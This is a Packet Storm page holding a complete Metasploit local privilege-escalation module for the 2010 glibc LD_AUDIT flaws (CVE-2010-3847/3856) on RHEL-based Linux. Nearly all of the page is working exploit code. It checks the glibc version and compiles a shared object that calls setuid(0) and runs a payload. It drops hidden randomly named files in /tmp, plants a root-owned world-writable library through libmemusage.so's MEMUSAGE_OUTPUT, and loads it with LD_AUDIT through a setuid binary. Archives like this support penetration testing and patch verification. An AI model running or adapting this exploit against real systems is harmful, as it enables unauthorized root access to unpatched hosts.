Lucene search

K
packetstormMarco IvaldiPACKETSTORM:146975
HistoryMar 30, 2018 - 12:00 a.m.

glibc LD_AUDIT libmemusage.so RHEL-Based Arbitrary DSO Load Privilege Escalation

2018-03-3000:00:00
Marco Ivaldi
packetstormsecurity.com
27

0.001 Low

EPSS

Percentile

29.5%

`require 'msf/core/exploit/local/linux'  
require 'msf/core/exploit/exe'  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = ExcellentRanking  
  
include Msf::Post::File  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
include Msf::Exploit::Local::Linux  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'glibc LD_AUDIT libmemusage.so RHEL-Based Arbitrary DSO Load Privilege Escalation',  
'Description' => %q{  
This module attempts to gain root privileges on Linux systems by abusing  
a vulnerability in the GNU C Library (glibc) dynamic linker with   
libmemusage.so library.  
  
glibc ld.so in versions before 2.11.3, and 2.12.x before 2.12.2 does not  
properly restrict use of the LD_AUDIT environment variable when loading  
setuid executables. This allows loading arbitrary shared objects from  
the trusted library search path with the privileges of the suid user.  
  
This module uses LD_AUDIT to load the libpcprofile.so shared object,  
distributed with some versions of glibc, and leverages arbitrary file  
creation functionality in the library constructor to write a root-owned  
world-writable file to a system trusted search path (usually /lib).  
The file is then overwritten with a shared object then loaded with  
LD_AUDIT resulting in arbitrary code execution.  
  
This module has been tested successfully on glibc version 2.12 on  
RHEL 5.  
  
Thanks to Brendan Coles and all Metasploit staff..  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Tavis Ormandy', # Discovery and exploit  
'zx2c4', # "I Can't Read and I Won't Race You Either" exploit  
'Marco Ivaldi', # raptor_ldaudit and raptor_ldaudit2 exploits  
'Todor Donev', # libmemusage.so native and this MSF exploit  
'Brendan Coles' # Metasploit libpcprofile.so  
],  
'DisclosureDate' => 'Oct 18 2010',  
'Platform' => 'linux',  
'Arch' => [ ARCH_X86, ARCH_X64 ],  
'SessionTypes' => [ 'shell', 'meterpreter' ],  
'Targets' =>  
[  
[ 'Automatic', { } ],  
[ 'Linux x86', { 'Arch' => ARCH_X86 } ],  
[ 'Linux x64', { 'Arch' => ARCH_X64 } ]  
],  
'DefaultTarget' => 0,  
'References' =>  
[  
[ 'CVE', '2010-3847' ],  
[ 'CVE', '2010-3856' ],  
[ 'BID', '44154' ],  
[ 'BID', '44347' ],  
[ 'EDB', '15274' ],  
[ 'EDB', '15304' ],  
[ 'EDB', '18105' ],  
[ 'URL', 'http://seclists.org/fulldisclosure/2010/Oct/257' ],  
[ 'URL', 'http://seclists.org/fulldisclosure/2010/Oct/344' ],  
[ 'URL', 'https://www.ubuntu.com/usn/usn-1009-1' ],  
[ 'URL', 'https://security-tracker.debian.org/tracker/CVE-2010-3847' ],  
[ 'URL', 'https://security-tracker.debian.org/tracker/CVE-2010-3856' ],  
[ 'URL', 'https://access.redhat.com/security/cve/CVE-2010-3847' ],  
[ 'URL', 'https://access.redhat.com/security/cve/CVE-2010-3856' ]  
]  
))  
register_options(  
[  
OptString.new('SUID_EXECUTABLE', [ true, 'Path to a SUID executable', '/bin/ping' ]),  
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])  
])  
end  
  
def base_dir  
datastore['WritableDir']  
end  
  
def suid_exe_path  
datastore['SUID_EXECUTABLE']  
end  
  
def check  
glibc_banner = cmd_exec 'ldd --version'  
glibc_version = Gem::Version.new glibc_banner.scan(/^ldd\s+\(.*\)\s+([\d\.]+)/).flatten.first  
if glibc_version.to_s.eql? ''  
vprint_error 'Could not determine the GNU C library version'  
return CheckCode::Safe  
elsif glibc_version >= Gem::Version.new('2.12.2') ||  
(glibc_version >= Gem::Version.new('2.11.3') && glibc_version < Gem::Version.new('2.12'))  
vprint_error "GNU C Library version #{glibc_version} is not vulnerable"  
return CheckCode::Safe  
end  
vprint_good "GNU C Library version #{glibc_version} is vulnerable"  
  
lib = 'libmemusage.so'  
@lib_dir = nil  
vprint_status "Checking for #{lib} in system search paths"  
search_paths = cmd_exec "env -i LD_PRELOAD=#{rand_text_alpha rand(10..15)} LD_DEBUG=libs env 2>&1 | grep 'search path='"  
search_paths.split('path=')[1..-1].join.split(':').each do |path|  
lib_dir = path.to_s.strip  
next if lib_dir.eql? ''  
libs = cmd_exec "ls '#{lib_dir}'"  
if libs.include? lib  
@lib_dir = lib_dir  
break  
end  
end  
if @lib_dir.nil?  
vprint_error "Could not find #{lib}"  
return CheckCode::Safe  
end  
vprint_good "Found #{lib} in #{@lib_dir}"  
  
unless setuid? suid_exe_path  
vprint_error "#{suid_exe_path} is not setuid"  
return CheckCode::Detected  
end  
vprint_good "#{suid_exe_path} is setuid"  
  
CheckCode::Appears  
end  
  
def upload_and_chmodx(path, data)  
print_status "Writing '#{path}' (#{data.size} bytes) ..."  
rm_f path  
write_file path, data  
cmd_exec "chmod +x '#{path}'"  
register_file_for_cleanup path  
end  
  
def on_new_session(client)  
# remove root owned shared object from system load path  
if client.type.eql? 'meterpreter'  
client.core.use 'stdapi' unless client.ext.aliases.include? 'stdapi'  
client.fs.file.rm @so_path  
else  
client.shell_command_token "rm #{@so_path}"  
end  
end  
  
def exploit  
check_status = check  
  
if check_status == CheckCode::Appears  
print_good 'The target appears to be vulnerable'  
elsif check_status == CheckCode::Detected  
fail_with Failure::BadConfig, "#{suid_exe_path} is not suid"  
else  
fail_with Failure::NotVulnerable, 'Target is not vulnerable'  
end  
  
payload_name = ".#{rand_text_alphanumeric rand(5..10)}"  
payload_path = "#{base_dir}/#{payload_name}"  
  
# Set target  
uname = cmd_exec 'uname -m'  
vprint_status "System architecture is #{uname}"  
if target.name.eql? 'Automatic'  
case uname  
when 'x86_64'  
my_target = targets[2]  
when /x86/, /i\d86/  
my_target = targets[1]  
else  
fail_with Failure::NoTarget, 'Unable to automatically select a target'  
end  
else  
my_target = target  
end  
print_status "Using target: #{my_target.name}"  
  
cpu = nil  
case my_target['Arch']  
when ARCH_X86  
cpu = Metasm::Ia32.new  
when ARCH_X64  
cpu = Metasm::X86_64.new  
else  
fail_with Failure::NoTarget, 'Target is not compatible'  
end  
  
# Compile shared object  
so_stub = %|  
extern int setuid(int);  
extern int setgid(int);  
extern int system(const char *__s);  
  
void init(void) __attribute__((constructor));  
  
void __attribute__((constructor)) init() {  
setuid(0);  
setgid(0);  
system("#{payload_path}");  
}  
|  
  
begin  
so = Metasm::ELF.compile_c(cpu, so_stub).encode_string(:lib)  
rescue  
print_error "Metasm encoding failed: #{$ERROR_INFO}"  
elog "Metasm encoding failed: #{$ERROR_INFO.class} : #{$ERROR_INFO}"  
elog "Call stack:\n#{$ERROR_INFO.backtrace.join "\n"}"  
fail_with Failure::Unknown, 'Metasm encoding failed'  
end  
  
# Upload shared object  
so_name = ".#{rand_text_alphanumeric rand(5..10)}"  
so_path = "#{base_dir}/#{so_name}"  
upload_and_chmodx so_path, so  
  
# Upload exploit  
@so_path = "#{@lib_dir}/#{so_name}.so"  
exp = %(  
umask 0  
LD_AUDIT="libmemusage.so" MEMUSAGE_OUTPUT="#{@so_path}" #{suid_exe_path} 2>/dev/null  
umask 0022  
cat #{so_path} > #{@so_path}  
LD_AUDIT="#{so_name}.so" #{suid_exe_path}  
echo > #{@so_path}  
)  
exp_name = ".#{rand_text_alphanumeric rand(5..10)}"  
exp_path = "#{base_dir}/#{exp_name}"  
upload_and_chmodx exp_path, exp  
  
# Upload payload  
upload_and_chmodx payload_path, generate_payload_exe  
  
# Launch exploit  
print_status 'Launching exploit...'  
# The echo at the end of the command is required  
# else the original session may die  
output = cmd_exec "#{exp_path}& echo "  
output.each_line { |line| vprint_status line.chomp }  
end  
end  
`